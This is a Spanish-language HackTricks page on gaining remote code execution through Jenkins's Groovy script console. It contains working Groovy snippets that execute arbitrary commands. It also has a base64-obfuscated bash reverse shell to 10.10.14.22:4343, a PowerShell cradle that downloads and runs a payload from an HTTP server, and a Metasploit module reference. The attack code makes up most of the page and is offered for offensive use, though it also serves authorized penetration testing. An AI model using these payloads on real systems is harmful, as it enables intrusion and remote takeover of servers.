Jenkins RCE with Groovy Script

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Jenkins RCE con Script Groovy

Esto es menos ruidoso que crear un nuevo proyecto en Jenkins

  1. Ve a path_jenkins/script

  2. Dentro del cuadro de texto introduce el script

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
Puedes ejecutar un comando usando: `cmd.exe /c dir`

En **linux** puedes hacer: **`"ls /".execute().text`**

Si necesitas usar _comillas_ y _comillas simples_ dentro del texto. Puedes usar _"""PAYLOAD"""_ (triple comillas dobles) para ejecutar el payload.

**Otro script groovy útil** es (reemplaza \[INSERT COMMAND]):
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell reversa en Linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell reversa en Windows

Puedes preparar un servidor HTTP con una shell reversa de PS y usar Jeking para descargarla y ejecutarla:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Puede automatizar este proceso con este script.

Puede usar MSF para obtener una shell inversa:

msf> use exploit/multi/http/jenkins_script_console
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización